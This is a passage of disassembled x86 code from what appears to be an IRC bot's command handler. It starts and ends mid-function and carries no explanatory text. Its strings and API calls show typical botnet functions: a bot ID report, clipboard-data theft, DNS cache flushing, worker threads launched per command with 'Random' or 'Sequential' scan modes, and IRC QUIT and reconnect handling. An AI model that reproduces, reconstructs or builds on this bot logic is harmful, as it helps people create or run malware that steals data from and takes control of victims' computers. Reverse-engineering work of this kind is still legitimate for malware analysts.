; sub_40EE51+5029j
mov eax, [ebp+arg_4]
push [ebp+Format] ; Format
mov esi, [ebp+var_4]
mov [ebp+var_334], eax
mov eax, [ebp+var_8]
mov edi, 80h
mov [ebp+var_308], eax
lea eax, [ebp+var_434]
push edi ; Count
push eax ; Dest
mov [ebp+var_304], 1
mov [ebp+var_30C], esi
call __snprintf
push offset byte_4397BC ; Str2
push offset aS_5 ; "#!S#"
call _strcmp
add esp, 14h
test eax, eax
jz short loc_413F04
push offset aS_5 ; "#!S#"
lea eax, [ebp+var_3B4]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
jmp short loc_413F0A
; ---------------------------------------------------------------------------
loc_413F04: ; CODE XREF: sub_40EE51+509Aj
mov [ebp+var_3B4], bl
loc_413F0A: ; CODE XREF: sub_40EE51+50B1j
cmp [ebp+var_304], ebx
mov eax, offset aRandom_0 ; "Random"
jnz short loc_413F1C
mov eax, offset aSequential ; "Sequential"
loc_413F1C: ; CODE XREF: sub_40EE51+50C4j
push [ebp+var_318]
lea ecx, [ebp+var_444]
push [ebp+var_328]
push [ebp+var_32C]
push [ebp+var_330]
push ecx
push eax
lea eax, [ebp+Dst]
push offset unk_434C60 ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 8 ; int
push eax ; Source
call sub_416D48
add esp, 2Ch
mov [ebp+var_324], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_444]
push ebx
push eax
push offset sub_40796C
push ebx
push ebx
call ds:dword_42309C
mov ecx, [ebp+var_324]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz short loc_413FA6
loc_413F94: ; CODE XREF: sub_40EE51+5153j
cmp [ebp+var_300], ebx
jnz short loc_413FC1
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_413F94
; ---------------------------------------------------------------------------
loc_413FA6: ; CODE XREF: sub_40EE51+5141j
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Dst]
push offset unk_435F04 ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_413FC1: ; CODE XREF: sub_40EE51+5149j
cmp [ebp+var_8], ebx
jnz short loc_413FE0
push ebx ; int
lea eax, [ebp+Dst]
push esi ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40D670
add esp, 14h
loc_413FE0: ; CODE XREF: sub_40EE51+5173j
lea eax, [ebp+Dst]
push eax
call sub_40BF6F
pop ecx
loc_413FED: ; CODE XREF: sub_40EE51+4F31j
add [ebp+Str1], 0Bh
mov eax, [ebp+Str1]
cmp [eax], bl
jnz loc_413D38
jmp loc_40F215
; ---------------------------------------------------------------------------
loc_414001: ; CODE XREF: sub_40EE51+3122j
; sub_40EE51+4FADj
push offset unk_434C1C
jmp loc_4145B5
; ---------------------------------------------------------------------------
loc_41400B: ; CODE XREF: sub_40EE51+1913j
; sub_40EE51+1928j
push [ebp+Format] ; Format
lea eax, [ebp+var_A4]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+arg_4]
push offset unk_434BE4 ; Format
mov [ebp+var_A8], eax
mov eax, [ebp+var_4]
mov [ebp+var_20], eax
mov eax, [ebp+var_8]
mov [ebp+var_1C], eax
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
push ebx ; int
lea eax, [ebp+Dst]
push 1Eh ; int
push eax ; Source
call sub_416D48
add esp, 24h
mov [ebp+var_24], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A8]
push ebx
push eax
push offset sub_409032
push ebx
push ebx
call ds:dword_42309C
mov ecx, [ebp+var_24]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz short loc_4140A1
loc_41408E: ; CODE XREF: sub_40EE51+524Ej
cmp [ebp+var_18], ebx
jnz loc_414DFC
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_41408E
; ---------------------------------------------------------------------------
loc_4140A1: ; CODE XREF: sub_40EE51+523Bj
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
push offset unk_434B98
jmp loc_414DED
; ---------------------------------------------------------------------------
loc_4140B2: ; CODE XREF: sub_40EE51+18E9j
; sub_40EE51+18FEj
push 4
call sub_416F90
test eax, eax
pop ecx
jle short loc_4140C8
push offset unk_434B6C
jmp loc_410D06
; ---------------------------------------------------------------------------
loc_4140C8: ; CODE XREF: sub_40EE51+526Bj
mov eax, [ebp+esi+var_90]
cmp eax, ebx
jz short loc_4140EB
push eax ; Format
mov edi, 104h
lea eax, [ebp+var_7FC]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
jmp short loc_4140FF
; ---------------------------------------------------------------------------
loc_4140EB: ; CODE XREF: sub_40EE51+5280j
mov edi, 104h
lea eax, [ebp+var_7FC]
push edi
push eax
push ebx
call ds:dword_423090 ; GetModuleFileNameA
loc_4140FF: ; CODE XREF: sub_40EE51+5298j
mov esi, [ebp+esi+Format]
cmp esi, ebx
jnz short loc_41410F
mov esi, offset byte_42E664
loc_41410F: ; CODE XREF: sub_40EE51+52B7j
push esi ; Format
lea eax, [ebp+var_6F8]
push edi ; Count
push eax ; Dest
call __snprintf
mov eax, ds:dword_42E5AC
push 7Fh ; Count
push [ebp+Format] ; Source
mov [ebp+var_5EC], eax
mov eax, [ebp+arg_4]
mov [ebp+var_5F0], ebx
mov [ebp+var_800], eax
lea eax, [ebp+var_5E8]
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
lea eax, [ebp+var_6F8]
push eax
lea eax, [ebp+var_7FC]
push eax
lea eax, [ebp+Dst]
push [ebp+var_5EC]
push offset unk_42A328 ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 4 ; int
push eax ; Source
call sub_416D48
add esp, 38h
mov [ebp+var_5F4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_800]
push ebx
push eax
push offset sub_406C0B
push ebx
push ebx
call ds:dword_42309C
mov ecx, [ebp+var_5F4]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz short loc_4141DF
loc_4141C9: ; CODE XREF: sub_40EE51+538Cj
cmp [ebp+var_560], ebx
jnz loc_410E22
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_4141C9
; ---------------------------------------------------------------------------
loc_4141DF: ; CODE XREF: sub_40EE51+5376j
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
push offset unk_434B24
jmp loc_410E13
; ---------------------------------------------------------------------------
loc_4141F0: ; CODE XREF: sub_40EE51+18BFj
; sub_40EE51+18D4j
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz short loc_41420F
push edi ; Str
call _atoi
test eax, eax
pop ecx
jz short loc_41420F
push edi ; Str
call _atoi
pop ecx
jmp short loc_414214
; ---------------------------------------------------------------------------
loc_41420F: ; CODE XREF: sub_40EE51+53A8j
; sub_40EE51+53B3j
mov eax, ds:dword_42E5B0
loc_414214: ; CODE XREF: sub_40EE51+53BCj
mov esi, [ebp+esi+Format]
mov [ebp+var_57C], eax
xor eax, eax
cmp [ebp+var_9C4], bl
setz al
cmp esi, ebx
mov [ebp+var_568], eax
jz short loc_414247
lea eax, [ebp+var_680]
push esi ; Format
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp short loc_414272
; ---------------------------------------------------------------------------
loc_414247: ; CODE XREF: sub_40EE51+53E3j
lea eax, [ebp+FullPath]
push 104h
push eax
call ds:dword_423064 ; GetSystemDirectoryA
push ebx ; Ext
push ebx ; Filename
lea eax, [ebp+Drive]
push ebx ; Dir
push eax ; Drive
lea eax, [ebp+FullPath]
push eax ; FullPath
call __splitpath
add esp, 14h
loc_414272: ; CODE XREF: sub_40EE51+53F4j
lea eax, [ebp+var_680]
push eax ; Str
call _strlen
cmp [ebp+eax+var_681], 5Ch
pop ecx
jnz short loc_41429D
lea eax, [ebp+var_680]
push eax ; Str
call _strlen
pop ecx
mov [ebp+eax+var_681], bl
loc_41429D: ; CODE XREF: sub_40EE51+5436j
push [ebp+Format] ; Format
mov esi, [ebp+arg_4]
lea eax, [ebp+var_908]
mov [ebp+var_90C], esi
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_56C], eax
lea eax, [ebp+var_680]
mov [ebp+var_570], edi
push eax
push [ebp+var_57C]
push esi
call sub_40AEDB
pop ecx
push eax
lea eax, [ebp+Dst]
push offset unk_42A20C ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 3 ; int
push eax ; Source
call sub_416D48
add esp, 20h
mov [ebp+var_574], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_90C]
push ebx
push eax
push offset sub_405AF0
push ebx
push ebx
call ds:dword_42309C
mov ecx, [ebp+var_574]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz short loc_414355
loc_41433F: ; CODE XREF: sub_40EE51+5502j
cmp [ebp+var_560], ebx
jnz loc_4144A4
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_41433F
; ---------------------------------------------------------------------------
loc_414355: ; CODE XREF: sub_40EE51+54ECj
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
push offset unk_434ADC
jmp loc_414495
; ---------------------------------------------------------------------------
loc_414366: ; CODE XREF: sub_40EE51+1895j
; sub_40EE51+18AAj
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz short loc_414385
push edi ; Str
call _atoi
test eax, eax
pop ecx
jz short loc_414385
push edi ; Str
call _atoi
pop ecx
jmp short loc_41438A
; ---------------------------------------------------------------------------
loc_414385: ; CODE XREF: sub_40EE51+551Ej
; sub_40EE51+5529j
mov eax, ds:dword_42E5B4
loc_41438A: ; CODE XREF: sub_40EE51+5532j
mov [ebp+var_578], eax
mov eax, [ebp+esi+Format]
cmp eax, ebx
jnz short loc_4143A1
lea eax, [ebp+var_D8]
loc_4143A1: ; CODE XREF: sub_40EE51+5548j
push eax ; Format
lea eax, [ebp+var_6B8]
push 40h ; Count
push eax ; Dest
call __snprintf
mov esi, [ebp+esi+var_88]
add esp, 0Ch
cmp esi, ebx
jnz short loc_4143C3
mov esi, offset byte_4397BC
loc_4143C3: ; CODE XREF: sub_40EE51+556Bj
push esi ; Format
lea eax, [ebp+var_678]
push 100h ; Count
push eax ; Dest
call __snprintf
push [ebp+Format] ; Format
lea eax, [ebp+var_738]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+var_8]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
add esp, 18h
mov [ebp+var_564], eax
lea eax, [ebp+var_6B8]
push eax
mov [ebp+var_73C], esi
push [ebp+var_578]
mov [ebp+var_568], edi
push esi
call sub_40AEDB
pop ecx
push eax
lea eax, [ebp+Dst]
push offset dword_434A90 ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 6 ; int
push eax ; Source
call sub_416D48
add esp, 20h
mov [ebp+var_574], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_73C]
push ebx
push eax
push offset sub_4156FD
push ebx
push ebx
call ds:dword_42309C
mov ecx, [ebp+var_574]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz short loc_414489
loc_414477: ; CODE XREF: sub_40EE51+5636j
cmp [ebp+var_560], ebx
jnz short loc_4144A4
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_414477
; ---------------------------------------------------------------------------
loc_414489: ; CODE XREF: sub_40EE51+5624j
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
push offset dword_434A44 ; Format
loc_414495: ; CODE XREF: sub_40EE51+363Cj
; sub_40EE51+3736j ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_4144A4: ; CODE XREF: sub_40EE51+3620j
; sub_40EE51+371Aj ...
cmp [ebp+var_8], ebx
jnz loc_414DFC
push ebx
push edi
jmp loc_411D29
; ---------------------------------------------------------------------------
loc_4144B4: ; CODE XREF: sub_40EE51+186Bj
; sub_40EE51+1880j
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_4144C7
push esi ; Str
call _atoi
jmp short loc_4144CE
; ---------------------------------------------------------------------------
loc_4144C7: ; CODE XREF: sub_40EE51+566Cj
push 8
call sub_416FAF
loc_4144CE: ; CODE XREF: sub_40EE51+5674j
cmp eax, ebx
pop ecx
jz loc_414F3C
push eax ; int
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_4071CC
loc_4144E9: ; CODE XREF: sub_40EE51+5B49j
add esp, 10h
jmp loc_414F3C
; ---------------------------------------------------------------------------
loc_4144F1: ; CODE XREF: sub_40EE51+1841j
; sub_40EE51+1856j
mov eax, ds:dword_43C540
cmp eax, ebx
jz short loc_41450E
call eax ; DnsFlushResolverCache
test eax, eax
jz short loc_414507
push offset unk_434A10
jmp short loc_414523
; ---------------------------------------------------------------------------
loc_414507: ; CODE XREF: sub_40EE51+56ADj
push offset unk_4349D4
jmp short loc_414523
; ---------------------------------------------------------------------------
loc_41450E: ; CODE XREF: sub_40EE51+56A7j
push offset unk_434998
jmp short loc_414523
; ---------------------------------------------------------------------------
loc_414515: ; CODE XREF: sub_40EE51+1817j
; sub_40EE51+182Cj
call sub_40ADFD
test eax, eax
jz short loc_414539
push offset unk_434964 ; Format
loc_414523: ; CODE XREF: sub_40EE51+56B4j
; sub_40EE51+56BBj ...
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
jmp loc_414E23
; ---------------------------------------------------------------------------
loc_414539: ; CODE XREF: sub_40EE51+56CBj
push offset unk_434928
jmp short loc_414523
; ---------------------------------------------------------------------------
loc_414540: ; CODE XREF: sub_40EE51+17EDj
; sub_40EE51+1802j
cmp [ebp+var_8], ebx
jnz short loc_41455F
push ebx ; int
push [ebp+var_4] ; int
push offset aClipboardData ; "-[Clipboard Data]-"
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40D670
add esp, 14h
loc_41455F: ; CODE XREF: sub_40EE51+56F2j
push ebx ; int
push [ebp+var_4] ; int
call sub_40AABA
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40D670
push offset dword_4348E8
jmp loc_41486C
; ---------------------------------------------------------------------------
loc_414581: ; CODE XREF: sub_40EE51+170Dj
; sub_40EE51+1722j
push 7
call sub_416F90
test eax, eax
pop ecx
jle short loc_414594
push offset dword_4348B0
jmp short loc_4145B5
; ---------------------------------------------------------------------------
loc_414594: ; CODE XREF: sub_40EE51+573Aj
push [ebp+Format]
push [ebp+arg_4]
call sub_40B567
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_4145B0
push offset dword_434878
jmp short loc_4145B5
; ---------------------------------------------------------------------------
loc_4145B0: ; CODE XREF: sub_40EE51+5756j
push offset dword_434848 ; Format
loc_4145B5: ; CODE XREF: sub_40EE51+2C75j
; sub_40EE51+2DA5j ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_4145C3: ; CODE XREF: sub_40EE51+15B7j
; sub_40EE51+2D7Fj ...
cmp [ebp+var_8], ebx
jnz loc_414DFC
push ebx ; int
push [ebp+var_4] ; int
loc_4145D0: ; CODE XREF: sub_40EE51+3972j
lea eax, [ebp+Dst]
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
loc_4145E0: ; CODE XREF: sub_40EE51+2EE6j
call sub_40D670
add esp, 14h
jmp loc_414DFC
; ---------------------------------------------------------------------------
loc_4145ED: ; CODE XREF: sub_40EE51+16E3j
; sub_40EE51+16F8j
push [ebp+var_8] ; int
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40A4A7
jmp loc_40F212
; ---------------------------------------------------------------------------
loc_414606: ; CODE XREF: sub_40EE51+16B9j
; sub_40EE51+16CEj
push [ebp+esi+var_90] ; int
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40D317
jmp loc_40F212
; ---------------------------------------------------------------------------
loc_414623: ; CODE XREF: sub_40EE51+168Fj
; sub_40EE51+16A4j
or edi, 0FFFFFFFFh
call ds:dword_423054 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi+var_90]
cmp esi, ebx
mov [ebp+Src], eax
jz short loc_41464C
push esi ; Str
call _atoi
pop ecx
mov edi, eax
loc_41464C: ; CODE XREF: sub_40EE51+57F0j
mov eax, [ebp+Src]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_414665
cmp edi, 0FFFFFFFFh
jnz loc_414F3C
loc_414665: ; CODE XREF: sub_40EE51+5809j
push ebx
call sub_40B71C
push eax
lea eax, [ebp+Dst]
push offset dword_434820 ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40D670
lea eax, [ebp+Dst]
push eax
call sub_40BF6F
jmp loc_4122C2
; ---------------------------------------------------------------------------
loc_4146A7: ; CODE XREF: sub_40EE51+1665j
; sub_40EE51+167Aj
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_408C13
lea eax, [ebp+Dst]
push offset unk_4347F0 ; Format
push eax ; Dest
call _sprintf
add esp, 14h
jmp loc_410E22
; ---------------------------------------------------------------------------
loc_4146D1: ; CODE XREF: sub_40EE51+163Bj
; sub_40EE51+1650j
push 1Fh
call sub_416F90
test eax, eax
pop ecx
jle short loc_4146FA
cmp [ebp+var_8], ebx
jnz loc_40F215
push ebx
push [ebp+var_4]
push offset unk_4347BC
push [ebp+Format]
jmp loc_40F773
; ---------------------------------------------------------------------------
loc_4146FA: ; CODE XREF: sub_40EE51+588Aj
push [ebp+Format] ; Format
lea eax, [ebp+var_4F0]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_90]
mov [ebp+var_4F4], eax
mov eax, [ebp+var_4]
mov [ebp+var_468], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_464], eax
mov [ebp+var_46C], ebx
jz short loc_41475B
push esi ; Str2
push offset aFull ; "full"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_41475B
mov [ebp+var_46C], 1
loc_41475B: ; CODE XREF: sub_40EE51+58EDj
; sub_40EE51+58FEj
lea eax, [ebp+Dst]
push offset dword_434784 ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 1Fh ; int
push eax ; Source
call sub_416D48
add esp, 14h
mov [ebp+var_470], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F4]
push ebx
push eax
push offset sub_41532A
push ebx
push ebx
call ds:dword_42309C
mov ecx, [ebp+var_470]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz short loc_4147C9
loc_4147B3: ; CODE XREF: sub_40EE51+5976j
cmp [ebp+var_460], ebx
jnz loc_414DFC
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_4147B3
; ---------------------------------------------------------------------------
loc_4147C9: ; CODE XREF: sub_40EE51+5960j
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
push offset unk_434734
jmp loc_414DED
; ---------------------------------------------------------------------------
loc_4147DA: ; CODE XREF: sub_40EE51+1611j
; sub_40EE51+1626j
cmp [ebp+var_8], ebx
jnz short loc_4147F9
push ebx ; int
push [ebp+var_4] ; int
push offset dword_43470C ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40D670
add esp, 14h
loc_4147F9: ; CODE XREF: sub_40EE51+598Cj
push [ebp+arg_4]
call ds:dword_43C6B0 ; closesocket
call ds:dword_43C578 ; WSACleanup
call sub_40AC3D
push ebx
call ds:dword_42314C
loc_414814: ; CODE XREF: sub_40EE51+15E7j
; sub_40EE51+15FCj
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push [ebp+arg_4]
push eax
call sub_40B8D3
pop ecx
pop ecx
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40D670
push offset dword_4346E4
jmp short loc_41486C
; ---------------------------------------------------------------------------
loc_41483F: ; CODE XREF: sub_40EE51+14ADj
; sub_40EE51+14C2j
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push [ebp+arg_4] ; int
push [ebp+arg_1C] ; int
push eax ; Dest
call sub_40BB87
add esp, 0Ch
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40D670
push offset dword_4346BC
loc_41486C: ; CODE XREF: sub_40EE51+572Bj
; sub_40EE51+59ECj
call sub_40BF6F
jmp loc_413066
; ---------------------------------------------------------------------------
loc_414876: ; CODE XREF: sub_40EE51+1483j
; sub_40EE51+1498j
push [ebp+var_8] ; int
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40C00F
jmp loc_40F212
; ---------------------------------------------------------------------------
loc_41488F: ; CODE XREF: sub_40EE51+1459j
; sub_40EE51+146Ej
cmp [ebp+var_C], ebx
mov [ebp+var_388], bl
jz short loc_4148CE
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_4148CE
push esi ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4148CE
push eax
push offset aS_1 ; "%s"
lea eax, [ebp+var_388]
push 80h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
loc_4148CE: ; CODE XREF: sub_40EE51+5A47j
; sub_40EE51+5A52j ...
push [ebp+Format] ; Format
lea eax, [ebp+var_408]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+arg_4]
push offset dword_434694 ; Format
mov [ebp+var_40C], eax
mov eax, [ebp+var_4]
mov [ebp+var_304], eax
mov eax, [ebp+var_8]
mov [ebp+var_300], eax
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 1Dh ; int
push eax ; Source
call sub_416D48
add esp, 20h
mov [ebp+var_308], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_40C]
push ebx
push eax
push offset sub_40C081
push ebx
push ebx
call ds:dword_42309C
mov ecx, [ebp+var_308]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz short loc_41496E
loc_414958: ; CODE XREF: sub_40EE51+5B1Bj
cmp [ebp+var_2FC], ebx
jnz loc_40F215
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_414958
; ---------------------------------------------------------------------------
loc_41496E: ; CODE XREF: sub_40EE51+5B05j
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
push offset dword_43464C
jmp loc_40F3FE
; ---------------------------------------------------------------------------
loc_41497F: ; CODE XREF: sub_40EE51+142Fj
; sub_40EE51+1444j
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40BEF7
push offset dword_434624
call sub_40BF6F
jmp loc_4144E9
; ---------------------------------------------------------------------------
loc_41499F: ; CODE XREF: sub_40EE51+1405j
; sub_40EE51+141Aj
push [ebp+Format] ; Format
lea eax, [ebp+var_4F0]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_90]
mov [ebp+var_4F4], eax
mov eax, [ebp+var_4]
mov [ebp+var_468], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_464], eax
jz short loc_4149F9
push offset aSub ; "sub"
push esi ; Str1
call _strcmp
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_46C], eax
jmp short loc_4149FF
; ---------------------------------------------------------------------------
loc_4149F9: ; CODE XREF: sub_40EE51+5B8Cj
mov [ebp+var_46C], ebx
loc_4149FF: ; CODE XREF: sub_40EE51+5BA6j
lea eax, [ebp+Dst]
push offset dword_4345F4 ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 20h ; int
push eax ; Source
call sub_416D48
add esp, 14h
mov [ebp+var_470], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F4]
push ebx
push eax
push offset sub_416DB3
push ebx
push ebx
call ds:dword_42309C
mov ecx, [ebp+var_470]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz short loc_414A69
loc_414A57: ; CODE XREF: sub_40EE51+5C16j
cmp [ebp+var_460], ebx
jnz short loc_414A84
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_414A57
; ---------------------------------------------------------------------------
loc_414A69: ; CODE XREF: sub_40EE51+5C04j
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
push offset dword_4345AC ; Format
loc_414A75: ; CODE XREF: sub_40EE51+489Ej
; sub_40EE51+49B7j
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_414A84: ; CODE XREF: sub_40EE51+452Cj
; sub_40EE51+4544j ...
lea eax, [ebp+Dst]
push eax
jmp loc_410624
; ---------------------------------------------------------------------------
loc_414A90: ; CODE XREF: sub_40EE51+1389j
; sub_40EE51+139Ej
push offset aBotid ; "botid"
lea eax, [ebp+Dst]
push offset dword_434584 ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40D670
add esp, 20h
jmp loc_411106
; ---------------------------------------------------------------------------
loc_414AC7: ; CODE XREF: sub_40EE51+135Fj
; sub_40EE51+1374j
push ds:dword_486C00
call sub_40B71C
push eax
lea eax, [ebp+Dst]
push offset dword_434548 ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40D670
add esp, 24h
jmp loc_411106
; ---------------------------------------------------------------------------
loc_414B05: ; CODE XREF: sub_40EE51+1335j
; sub_40EE51+134Aj
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_414B37
cmp [ebp+var_C], ebx
jz short loc_414B46
push esi ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz short loc_414B46
push eax ; Args
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4] ; int
call sub_40D62A
add esp, 0Ch
jmp short loc_414B46
; ---------------------------------------------------------------------------
loc_414B37: ; CODE XREF: sub_40EE51+5CBDj
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+arg_4] ; int
call sub_40D62A
pop ecx
pop ecx
loc_414B46: ; CODE XREF: sub_40EE51+5CC2j
; sub_40EE51+5CD1j ...
push 0FFFFFFFEh
jmp loc_40F217
; ---------------------------------------------------------------------------
loc_414B4D: ; CODE XREF: sub_40EE51+130Bj
; sub_40EE51+1320j
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4] ; int
call sub_40D62A
push offset dword_4344F8
call sub_40BF6F
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_40F218
; ---------------------------------------------------------------------------
loc_414B6F: ; CODE XREF: sub_40EE51+12E1j
; sub_40EE51+12F6j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4] ; int
call sub_40D62A
push offset dword_4344B8
call sub_40BF6F
add esp, 0Ch
xor eax, eax
jmp loc_40F218
; ---------------------------------------------------------------------------
loc_414B90: ; CODE XREF: sub_40EE51+12B7j
; sub_40EE51+12CCj
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_407102
jmp loc_412FCF
; ---------------------------------------------------------------------------
loc_414BA6: ; CODE XREF: sub_40EE51+1212j
; sub_40EE51+1227j
push [ebp+esi+var_90]
push 1Fh
push offset dword_4344A8
push offset dword_43449C
jmp loc_40FEA3
; ---------------------------------------------------------------------------
loc_414BBE: ; CODE XREF: sub_40EE51+11E8j
; sub_40EE51:loc_41004Ej
push [ebp+esi+var_90]
push 1Ch
push offset dword_434490
push offset dword_434480
jmp loc_40FEA3
; ---------------------------------------------------------------------------
loc_414BD6: ; CODE XREF: sub_40EE51+1013j
; sub_40EE51+1028j
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz short loc_414BF5
push edi ; Str
call _atoi
test eax, eax
pop ecx
jz short loc_414BF5
push edi ; Str
call _atoi
pop ecx
jmp short loc_414BFA
; ---------------------------------------------------------------------------
loc_414BF5: ; CODE XREF: sub_40EE51+5D8Ej
; sub_40EE51+5D99j
mov eax, ds:dword_42E5A8
loc_414BFA: ; CODE XREF: sub_40EE51+5DA2j
mov esi, [ebp+esi+Format]
mov [ebp+var_478], eax
cmp esi, ebx
jz short loc_414C1F
push esi ; Format
loc_414C0C: ; CODE XREF: sub_40EE51+5DDDj
lea eax, [ebp+var_488]
push 10h ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
jmp short loc_414C36
; ---------------------------------------------------------------------------
loc_414C1F: ; CODE XREF: sub_40EE51+5DB8j
cmp [ebp+var_9C7], bl
jz short loc_414C30
lea eax, [ebp+var_D8]
push eax
jmp short loc_414C0C
; ---------------------------------------------------------------------------
loc_414C30: ; CODE XREF: sub_40EE51+5DD4j
mov [ebp+var_488], bl
loc_414C36: ; CODE XREF: sub_40EE51+5DCCj
